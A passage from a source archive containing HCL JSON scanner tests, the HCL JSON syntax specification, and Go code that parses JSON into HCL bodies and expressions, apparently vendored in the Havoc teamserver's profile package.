Byte: 2, Line: 1, Column: 3, }, }, }, }, }, { `1`, []token{ { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, }, }, { ` 1`, []token{ { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, }, }, { ` 12`, []token{ { Type: tokenNumber, Bytes: []byte(`12`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, End: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, }, }, }, }, { `1 2`, []token{ { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenNumber, Bytes: []byte(`2`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, }, }, { "\n1\n 2", []token{ { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 2, Column: 1, }, End: hcl.Pos{ Byte: 2, Line: 2, Column: 2, }, }, }, { Type: tokenNumber, Bytes: []byte(`2`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 4, Line: 3, Column: 2, }, End: hcl.Pos{ Byte: 5, Line: 3, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 5, Line: 3, Column: 3, }, End: hcl.Pos{ Byte: 5, Line: 3, Column: 3, }, }, }, }, }, { `-1 2.5`, []token{ { Type: tokenNumber, Bytes: []byte(`-1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenNumber, Bytes: []byte(`2.5`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, End: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, }, }, }, }, { `true`, []token{ { Type: tokenKeyword, Bytes: []byte(`true`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, End: hcl.Pos{ Byte: 4, Line: 1, Column: 5, }, }, }, }, }, { `[true]`, []token{ { Type: tokenBrackO, Bytes: []byte(`[`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenKeyword, Bytes: []byte(`true`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 5, Line: 1, Column: 6, }, }, }, { Type: tokenBrackC, Bytes: []byte(`]`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 5, Line: 1, Column: 6, }, End: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, End: hcl.Pos{ Byte: 6, Line: 1, Column: 7, }, }, }, }, }, { `""`, []token{ { Type: tokenString, Bytes: []byte(`""`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, }, }, { `"hello"`, []token{ { Type: tokenString, Bytes: []byte(`"hello"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, End: hcl.Pos{ Byte: 7, Line: 1, Column: 8, }, }, }, }, }, { `"he\"llo"`, []token{ { Type: tokenString, Bytes: []byte(`"he\"llo"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, End: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, }, }, }, }, { `"hello\\" 1`, []token{ { Type: tokenString, Bytes: []byte(`"hello\\"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 9, Line: 1, Column: 10, }, }, }, { Type: tokenNumber, Bytes: []byte(`1`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 10, Line: 1, Column: 11, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, End: hcl.Pos{ Byte: 11, Line: 1, Column: 12, }, }, }, }, }, { `"🇬🇧"`, []token{ { Type: tokenString, Bytes: []byte(`"🇬🇧"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 10, Line: 1, Column: 4, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 10, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 10, Line: 1, Column: 4, }, }, }, }, }, { `"á́́́́́́́"`, []token{ { Type: tokenString, Bytes: []byte(`"á́́́́́́́"`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 19, Line: 1, Column: 4, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 19, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 19, Line: 1, Column: 4, }, }, }, }, }, { `&`, []token{ { Type: tokenInvalid, Bytes: []byte(`&`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, }, }, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { buf := []byte(test.Input) start := pos{ Filename: "", Pos: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, } got := scan(buf, start) if !reflect.DeepEqual(got, test.Want) { errMsg := &bytes.Buffer{} errMsg.WriteString("wrong result\ngot:\n") if len(got) == 0 { errMsg.WriteString(" (empty slice)\n") } for _, tok := range got { fmt.Fprintf(errMsg, " - %#v\n", tok) } errMsg.WriteString("want:\n") if len(test.Want) == 0 { errMsg.WriteString(" (empty slice)\n") } for _, tok := range test.Want { fmt.Fprintf(errMsg, " - %#v\n", tok) } t.Error(errMsg.String()) } }) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/spec.md000066400000000000000000000325531467014221700252520ustar00rootroot00000000000000# HCL JSON Syntax Specification This is the specification for the JSON serialization for hcl. HCL is a system for defining configuration languages for applications. The HCL information model is designed to support multiple concrete syntaxes for configuration, and this JSON-based format complements [the native syntax](../hclsyntax/spec.md) by being easy to machine-generate, whereas the native syntax is oriented towards human authoring and maintenance This syntax is defined in terms of JSON as defined in [RFC7159](https://tools.ietf.org/html/rfc7159). As such it inherits the JSON grammar as-is, and merely defines a specific methodology for interpreting JSON constructs into HCL structural elements and expressions. This mapping is defined such that valid JSON-serialized HCL input can be _produced_ using standard JSON implementations in various programming languages. _Parsing_ such JSON has some additional constraints not beyond what is normally supported by JSON parsers, so a specialized parser may be required that is able to: - Preserve the relative ordering of properties defined in an object. - Preserve multiple definitions of the same property name. - Preserve numeric values to the precision required by the number type in [the HCL syntax-agnostic information model](../spec.md). - Retain source location information for parsed tokens/constructs in order to produce good error messages. ## Structural Elements [The HCL syntax-agnostic information model](../spec.md) defines a _body_ as an abstract container for attribute definitions and child blocks. A body is represented in JSON as either a single JSON object or a JSON array of objects. Body processing is in terms of JSON object properties, visited in the order they appear in the input. Where a body is represented by a single JSON object, the properties of that object are visited in order. Where a body is represented by a JSON array, each of its elements are visited in order and each element has its properties visited in order. If any element of the array is not a JSON object then the input is erroneous. When a body is being processed in the _dynamic attributes_ mode, the allowance of a JSON array in the previous paragraph does not apply and instead a single JSON object is always required. As defined in the language-agnostic model, body processing is in terms of a schema which provides context for interpreting the body's content. For JSON bodies, the schema is crucial to allow differentiation of attribute definitions and block definitions, both of which are represented via object properties. The special property name `"//"`, when used in an object representing a HCL body, is parsed and ignored. A property with this name can be used to include human-readable comments. (This special property name is _not_ processed in this way for any _other_ HCL constructs that are represented as JSON objects.) ### Attributes Where the given schema describes an attribute with a given name, the object property with the matching name — if present — serves as the attribute's definition. When a body is being processed in the _dynamic attributes_ mode, each object property serves as an attribute definition for the attribute whose name matches the property name. The value of an attribute definition property is interpreted as an _expression_, as described in a later section. Given a schema that calls for an attribute named "foo", a JSON object like the following provides a definition for that attribute: ```json { "foo": "bar baz" } ``` ### Blocks Where the given schema describes a block with a given type name, each object property with the matching name serves as a definition of zero or more blocks of that type. Processing of child blocks is in terms of nested JSON objects and arrays. If the schema defines one or more _labels_ for the block type, a nested JSON object or JSON array of objects is required for each labelling level. These are flattened to a single ordered sequence of object properties using the same algorithm as for body content as defined above. Each object property serves as a label value at the corresponding level. After any labelling levels, the next nested value is either a JSON object representing a single block body, or a JSON array of JSON objects that each represent a single block body. Use of an array accommodates the definition of multiple blocks that have identical type and labels. Given a schema that calls for a block type named "foo" with no labels, the following JSON objects are all valid definitions of zero or more blocks of this type: ```json { "foo": { "child_attr": "baz" } } ``` ```json { "foo": [ { "child_attr": "baz" }, { "child_attr": "boz" } ] } ``` ```json { "foo": [] } ``` The first of these defines a single child block of type "foo". The second defines _two_ such blocks. The final example shows a degenerate definition of zero blocks, though generators should prefer to omit the property entirely in this scenario. Given a schema that calls for a block type named "foo" with _two_ labels, the extra label levels must be represented as objects or arrays of objects as in the following examples: ```json { "foo": { "bar": { "baz": { "child_attr": "baz" }, "boz": { "child_attr": "baz" } }, "boz": { "baz": { "child_attr": "baz" } } } } ``` ```json { "foo": { "bar": { "baz": { "child_attr": "baz" }, "boz": { "child_attr": "baz" } }, "boz": { "baz": [ { "child_attr": "baz" }, { "child_attr": "boz" } ] } } } ``` ```json { "foo": [ { "bar": { "baz": { "child_attr": "baz" }, "boz": { "child_attr": "baz" } } }, { "bar": { "baz": [ { "child_attr": "baz" }, { "child_attr": "boz" } ] } } ] } ``` ```json { "foo": { "bar": { "baz": { "child_attr": "baz" }, "boz": { "child_attr": "baz" } }, "bar": { "baz": [ { "child_attr": "baz" }, { "child_attr": "boz" } ] } } } ``` Arrays can be introduced at either the label definition or block body definition levels to define multiple definitions of the same block type or labels while preserving order. A JSON HCL parser _must_ support duplicate definitions of the same property name within a single object, preserving all of them and the relative ordering between them. The array-based forms are also required so that JSON HCL configurations can be produced with JSON producing libraries that are not able to preserve property definition order and multiple definitions of the same property. ## Expressions JSON lacks a native expression syntax, so the HCL JSON syntax instead defines a mapping for each of the JSON value types, including a special mapping for strings that allows optional use of arbitrary expressions. ### Objects When interpreted as an expression, a JSON object represents a value of a HCL object type. Each property of the JSON object represents an attribute of the HCL object type. The property name string given in the JSON input is interpreted as a string expression as described below, and its result is converted to string as defined by the syntax-agnostic information model. If such a conversion is not possible, an error is produced and evaluation fails. An instance of the constructed object type is then created, whose values are interpreted by again recursively applying the mapping rules defined in this section to each of the property values. If any evaluated property name strings produce null values, an error is produced and evaluation fails. If any produce _unknown_ values, the _entire object's_ result is an unknown value of the dynamic pseudo-type, signalling that the type of the object cannot be determined. It is an error to define the same property name multiple times within a single JSON object interpreted as an expression. In full expression mode, this constraint applies to the name expression results after conversion to string, rather than the raw string that may contain interpolation expressions. ### Arrays When interpreted as an expression, a JSON array represents a value of a HCL tuple type. Each element of the JSON array represents an element of the HCL tuple type. The tuple type is constructed by enumerating the JSON array elements, creating for each an element whose type is the result of recursively applying the expression mapping rules. Correspondence is preserved between the array element indices and the tuple element indices. An instance of the constructed tuple type is then created, whose values are interpreted by again recursively applying the mapping rules defined in this section. ### Numbers When interpreted as an expression, a JSON number represents a HCL number value. HCL numbers are arbitrary-precision decimal values, so a JSON HCL parser must be able to translate exactly the value given to a number of corresponding precision, within the constraints set by the HCL syntax-agnostic information model. In practice, off-the-shelf JSON serializers often do not support customizing the processing of numbers, and instead force processing as 32-bit or 64-bit floating point values. A _producer_ of JSON HCL that uses such a serializer can provide numeric values as JSON strings where they have precision too great for representation in the serializer's chosen numeric type in situations where the result will be converted to number (using the standard conversion rules) by a calling application. Alternatively, for expressions that are evaluated in full expression mode an embedded template interpolation can be used to faithfully represent a number, such as `"${1e150}"`, which will then be evaluated by the underlying HCL native syntax expression evaluator. ### Boolean Values The JSON boolean values `true` and `false`, when interpreted as expressions, represent the corresponding HCL boolean values. ### The Null Value The JSON value `null`, when interpreted as an expression, represents a HCL null value of the dynamic pseudo-type. ### Strings When interpreted as an expression, a JSON string may be interpreted in one of two ways depending on the evaluation mode. If evaluating in literal-only mode (as defined by the syntax-agnostic information model) the literal string is interpreted directly as a HCL string value, by directly using the exact sequence of unicode characters represented. Template interpolations and directives MUST NOT be processed in this mode, allowing any characters that appear as introduction sequences to pass through literally: ```json "Hello world! Template sequences like ${ are not interpreted here." ``` When evaluating in full expression mode (again, as defined by the syntax- agnostic information model) the literal string is instead interpreted as a _standalone template_ in the HCL Native Syntax. The expression evaluation result is then the direct result of evaluating that template with the current variable scope and function table. ```json "Hello, ${name}! Template sequences are interpreted in full expression mode." ``` In particular the _Template Interpolation Unwrapping_ requirement from the HCL native syntax specification must be implemented, allowing the use of single-interpolation templates to represent expressions that would not otherwise be representable in JSON, such as the following example where the result must be a number, rather than a string representation of a number: ```json "${ a + b }" ``` ## Static Analysis The HCL static analysis operations are implemented for JSON values that represent expressions, as described in the following sections. Due to the limited expressive power of the JSON syntax alone, use of these static analyses functions rather than normal expression evaluation is used as additional context for how a JSON value is to be interpreted, which means that static analyses can result in a different interpretation of a given expression than normal evaluation. ### Static List An expression interpreted as a static list must be a JSON array. Each of the values in the array is interpreted as an expression and returned. ### Static Map An expression interpreted as a static map must be a JSON object. Each of the key/value pairs in the object is presented as a pair of expressions. Since object property names are always strings, evaluating the key expression with a non-`nil` evaluation context will evaluate any template sequences given in the property name. ### Static Call An expression interpreted as a static call must be a string. The content of the string is interpreted as a native syntax expression (not a _template_, unlike normal evaluation) and then the static call analysis is delegated to that expression. If the original expression is not a string or its contents cannot be parsed as a native syntax expression then static call analysis is not supported. ### Static Traversal An expression interpreted as a static traversal must be a string. The content of the string is interpreted as a native syntax expression (not a _template_, unlike normal evaluation) and then static traversal analysis is delegated to that expression. If the original expression is not a string or its contents cannot be parsed as a native syntax expression then static call analysis is not supported. havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/structure.go000066400000000000000000000545601467014221700263670ustar00rootroot00000000000000package json import ( "fmt" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" ) // body is the implementation of "Body" used for files processed with the JSON // parser. type body struct { val node // If non-nil, the keys of this map cause the corresponding attributes to // be treated as non-existing. This is used when Body.PartialContent is // called, to produce the "remaining content" Body. hiddenAttrs map[string]struct{} } // expression is the implementation of "Expression" used for files processed // with the JSON parser. type expression struct { src node } func (b *body) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { content, newBody, diags := b.PartialContent(schema) hiddenAttrs := newBody.(*body).hiddenAttrs var nameSuggestions []string for _, attrS := range schema.Attributes { if _, ok := hiddenAttrs[attrS.Name]; !ok { // Only suggest an attribute name if we didn't use it already. nameSuggestions = append(nameSuggestions, attrS.Name) } } for _, blockS := range schema.Blocks { // Blocks can appear multiple times, so we'll suggest their type // names regardless of whether they've already been used. nameSuggestions = append(nameSuggestions, blockS.Type) } jsonAttrs, attrDiags := b.collectDeepAttrs(b.val, nil) diags = append(diags, attrDiags...) for _, attr := range jsonAttrs { k := attr.Name if k == "//" { // Ignore "//" keys in objects representing bodies, to allow // their use as comments. continue } if _, ok := hiddenAttrs[k]; !ok { suggestion := nameSuggestion(k, nameSuggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous JSON object property", Detail: fmt.Sprintf("No argument or block type is named %q.%s", k, suggestion), Subject: &attr.NameRange, Context: attr.Range().Ptr(), }) } } return content, diags } func (b *body) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { var diags hcl.Diagnostics jsonAttrs, attrDiags := b.collectDeepAttrs(b.val, nil) diags = append(diags, attrDiags...) usedNames := map[string]struct{}{} if b.hiddenAttrs != nil { for k := range b.hiddenAttrs { usedNames[k] = struct{}{} } } content := &hcl.BodyContent{ Attributes: map[string]*hcl.Attribute{}, Blocks: nil, MissingItemRange: b.MissingItemRange(), } // Create some more convenient data structures for our work below. attrSchemas := map[string]hcl.AttributeSchema{} blockSchemas := map[string]hcl.BlockHeaderSchema{} for _, attrS := range schema.Attributes { attrSchemas[attrS.Name] = attrS } for _, blockS := range schema.Blocks { blockSchemas[blockS.Type] = blockS } for _, jsonAttr := range jsonAttrs { attrName := jsonAttr.Name if _, used := b.hiddenAttrs[attrName]; used { continue } if attrS, defined := attrSchemas[attrName]; defined { if existing, exists := content.Attributes[attrName]; exists { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Duplicate argument", Detail: fmt.Sprintf("The argument %q was already set at %s.", attrName, existing.Range), Subject: &jsonAttr.NameRange, Context: jsonAttr.Range().Ptr(), }) continue } content.Attributes[attrS.Name] = &hcl.Attribute{ Name: attrS.Name, Expr: &expression{src: jsonAttr.Value}, Range: hcl.RangeBetween(jsonAttr.NameRange, jsonAttr.Value.Range()), NameRange: jsonAttr.NameRange, } usedNames[attrName] = struct{}{} } else if blockS, defined := blockSchemas[attrName]; defined { bv := jsonAttr.Value blockDiags := b.unpackBlock(bv, blockS.Type, &jsonAttr.NameRange, blockS.LabelNames, nil, nil, &content.Blocks) diags = append(diags, blockDiags...) usedNames[attrName] = struct{}{} } // We ignore anything that isn't defined because that's the // PartialContent contract. The Content method will catch leftovers. } // Make sure we got all the required attributes. for _, attrS := range schema.Attributes { if !attrS.Required { continue } if _, defined := content.Attributes[attrS.Name]; !defined { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing required argument", Detail: fmt.Sprintf("The argument %q is required, but no definition was found.", attrS.Name), Subject: b.MissingItemRange().Ptr(), }) } } unusedBody := &body{ val: b.val, hiddenAttrs: usedNames, } return content, unusedBody, diags } // JustAttributes for JSON bodies interprets all properties of the wrapped // JSON object as attributes and returns them. func (b *body) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { var diags hcl.Diagnostics attrs := make(map[string]*hcl.Attribute) obj, ok := b.val.(*objectVal) if !ok { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: "A JSON object is required here, setting the arguments for this block.", Subject: b.val.StartRange().Ptr(), }) return attrs, diags } for _, jsonAttr := range obj.Attrs { name := jsonAttr.Name if name == "//" { // Ignore "//" keys in objects representing bodies, to allow // their use as comments. continue } if _, hidden := b.hiddenAttrs[name]; hidden { continue } if existing, exists := attrs[name]; exists { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Duplicate attribute definition", Detail: fmt.Sprintf("The argument %q was already set at %s.", name, existing.Range), Subject: &jsonAttr.NameRange, }) continue } attrs[name] = &hcl.Attribute{ Name: name, Expr: &expression{src: jsonAttr.Value}, Range: hcl.RangeBetween(jsonAttr.NameRange, jsonAttr.Value.Range()), NameRange: jsonAttr.NameRange, } } // No diagnostics possible here, since the parser already took care of // finding duplicates and every JSON value can be a valid attribute value. return attrs, diags } func (b *body) MissingItemRange() hcl.Range { switch tv := b.val.(type) { case *objectVal: return tv.CloseRange case *arrayVal: return tv.OpenRange default: // Should not happen in correct operation, but might show up if the // input is invalid and we are producing partial results. return tv.StartRange() } } func (b *body) unpackBlock(v node, typeName string, typeRange *hcl.Range, labelsLeft []string, labelsUsed []string, labelRanges []hcl.Range, blocks *hcl.Blocks) (diags hcl.Diagnostics) { if len(labelsLeft) > 0 { labelName := labelsLeft[0] jsonAttrs, attrDiags := b.collectDeepAttrs(v, &labelName) diags = append(diags, attrDiags...) if len(jsonAttrs) == 0 { diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing block label", Detail: fmt.Sprintf("At least one object property is required, whose name represents the %s block's %s.", typeName, labelName), Subject: v.StartRange().Ptr(), }) return } labelsUsed := append(labelsUsed, "") labelRanges := append(labelRanges, hcl.Range{}) for _, p := range jsonAttrs { pk := p.Name labelsUsed[len(labelsUsed)-1] = pk labelRanges[len(labelRanges)-1] = p.NameRange diags = append(diags, b.unpackBlock(p.Value, typeName, typeRange, labelsLeft[1:], labelsUsed, labelRanges, blocks)...) } return } // By the time we get here, we've peeled off all the labels and we're ready // to deal with the block's actual content. // need to copy the label slices because their underlying arrays will // continue to be mutated after we return. labels := make([]string, len(labelsUsed)) copy(labels, labelsUsed) labelR := make([]hcl.Range, len(labelRanges)) copy(labelR, labelRanges) switch tv := v.(type) { case *nullVal: // There is no block content, e.g the value is null. return case *objectVal: // Single instance of the block *blocks = append(*blocks, &hcl.Block{ Type: typeName, Labels: labels, Body: &body{ val: tv, }, DefRange: tv.OpenRange, TypeRange: *typeRange, LabelRanges: labelR, }) case *arrayVal: // Multiple instances of the block for _, av := range tv.Values { *blocks = append(*blocks, &hcl.Block{ Type: typeName, Labels: labels, Body: &body{ val: av, // might be mistyped; we'll find out when content is requested for this body }, DefRange: tv.OpenRange, TypeRange: *typeRange, LabelRanges: labelR, }) } default: diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: fmt.Sprintf("Either a JSON object or a JSON array is required, representing the contents of one or more %q blocks.", typeName), Subject: v.StartRange().Ptr(), }) } return } // collectDeepAttrs takes either a single object or an array of objects and // flattens it into a list of object attributes, collecting attributes from // all of the objects in a given array. // // Ordering is preserved, so a list of objects that each have one property // will result in those properties being returned in the same order as the // objects appeared in the array. // // This is appropriate for use only for objects representing bodies or labels // within a block. // // The labelName argument, if non-null, is used to tailor returned error // messages to refer to block labels rather than attributes and child blocks. // It has no other effect. func (b *body) collectDeepAttrs(v node, labelName *string) ([]*objectAttr, hcl.Diagnostics) { var diags hcl.Diagnostics var attrs []*objectAttr switch tv := v.(type) { case *nullVal: // If a value is null, then we don't return any attributes or return an error. case *objectVal: attrs = append(attrs, tv.Attrs...) case *arrayVal: for _, ev := range tv.Values { switch tev := ev.(type) { case *objectVal: attrs = append(attrs, tev.Attrs...) default: if labelName != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: fmt.Sprintf("A JSON object is required here, to specify %s labels for this block.", *labelName), Subject: ev.StartRange().Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: "A JSON object is required here, to define arguments and child blocks.", Subject: ev.StartRange().Ptr(), }) } } } default: if labelName != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: fmt.Sprintf("Either a JSON object or JSON array of objects is required here, to specify %s labels for this block.", *labelName), Subject: v.StartRange().Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Incorrect JSON value type", Detail: "Either a JSON object or JSON array of objects is required here, to define arguments and child blocks.", Subject: v.StartRange().Ptr(), }) } } return attrs, diags } func (e *expression) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { switch v := e.src.(type) { case *stringVal: if ctx != nil { // Parse string contents as a HCL native language expression. // We only do this if we have a context, so passing a nil context // is how the caller specifies that interpolations are not allowed // and that the string should just be returned verbatim. templateSrc := v.Value expr, diags := hclsyntax.ParseTemplate( []byte(templateSrc), v.SrcRange.Filename, // This won't produce _exactly_ the right result, since // the hclsyntax parser can't "see" any escapes we removed // while parsing JSON, but it's better than nothing. hcl.Pos{ Line: v.SrcRange.Start.Line, // skip over the opening quote mark Byte: v.SrcRange.Start.Byte + 1, Column: v.SrcRange.Start.Column + 1, }, ) if diags.HasErrors() { return cty.DynamicVal, diags } val, evalDiags := expr.Value(ctx) diags = append(diags, evalDiags...) return val, diags } return cty.StringVal(v.Value), nil case *numberVal: return cty.NumberVal(v.Value), nil case *booleanVal: return cty.BoolVal(v.Value), nil case *arrayVal: var diags hcl.Diagnostics vals := []cty.Value{} for _, jsonVal := range v.Values { val, valDiags := (&expression{src: jsonVal}).Value(ctx) vals = append(vals, val) diags = append(diags, valDiags...) } return cty.TupleVal(vals), diags case *objectVal: var diags hcl.Diagnostics attrs := map[string]cty.Value{} attrRanges := map[string]hcl.Range{} known := true for _, jsonAttr := range v.Attrs { // In this one context we allow keys to contain interpolation // expressions too, assuming we're evaluating in interpolation // mode. This achieves parity with the native syntax where // object expressions can have dynamic keys, while block contents // may not. name, nameDiags := (&expression{src: &stringVal{ Value: jsonAttr.Name, SrcRange: jsonAttr.NameRange, }}).Value(ctx) valExpr := &expression{src: jsonAttr.Value} val, valDiags := valExpr.Value(ctx) diags = append(diags, nameDiags...) diags = append(diags, valDiags...) var err error name, err = convert.Convert(name, cty.String) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object key expression", Detail: fmt.Sprintf("Cannot use this expression as an object key: %s.", err), Subject: &jsonAttr.NameRange, Expression: valExpr, EvalContext: ctx, }) continue } if name.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object key expression", Detail: "Cannot use null value as an object key.", Subject: &jsonAttr.NameRange, Expression: valExpr, EvalContext: ctx, }) continue } if !name.IsKnown() { // This is a bit of a weird case, since our usual rules require // us to tolerate unknowns and just represent the result as // best we can but if we don't know the key then we can't // know the type of our object at all, and thus we must turn // the whole thing into cty.DynamicVal. This is consistent with // how this situation is handled in the native syntax. // We'll keep iterating so we can collect other errors in // subsequent attributes. known = false continue } nameStr := name.AsString() if _, defined := attrs[nameStr]; defined { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Duplicate object attribute", Detail: fmt.Sprintf("An attribute named %q was already defined at %s.", nameStr, attrRanges[nameStr]), Subject: &jsonAttr.NameRange, Expression: e, EvalContext: ctx, }) continue } attrs[nameStr] = val attrRanges[nameStr] = jsonAttr.NameRange } if !known { // We encountered an unknown key somewhere along the way, so // we can't know what our type will eventually be. return cty.DynamicVal, diags } return cty.ObjectVal(attrs), diags case *nullVal: return cty.NullVal(cty.DynamicPseudoType), nil default: // Default to DynamicVal so that ASTs containing invalid nodes can // still be partially-evaluated. return cty.DynamicVal, nil } } func (e *expression) Variables() []hcl.Traversal { var vars []hcl.Traversal switch v := e.src.(type) { case *stringVal: templateSrc := v.Value expr, diags := hclsyntax.ParseTemplate( []byte(templateSrc), v.SrcRange.Filename, // This won't produce _exactly_ the right result, since // the hclsyntax parser can't "see" any escapes we removed // while parsing JSON, but it's better than nothing. hcl.Pos{ Line: v.SrcRange.Start.Line, // skip over the opening quote mark Byte: v.SrcRange.Start.Byte + 1, Column: v.SrcRange.Start.Column + 1, }, ) if diags.HasErrors() { return vars } return expr.Variables() case *arrayVal: for _, jsonVal := range v.Values { vars = append(vars, (&expression{src: jsonVal}).Variables()...) } case *objectVal: for _, jsonAttr := range v.Attrs { keyExpr := &stringVal{ // we're going to treat key as an expression in this context Value: jsonAttr.Name, SrcRange: jsonAttr.NameRange, } vars = append(vars, (&expression{src: keyExpr}).Variables()...) vars = append(vars, (&expression{src: jsonAttr.Value}).Variables()...) } } return vars } func (e *expression) Range() hcl.Range { return e.src.Range() } func (e *expression) StartRange() hcl.Range { return e.src.StartRange() } // Implementation for 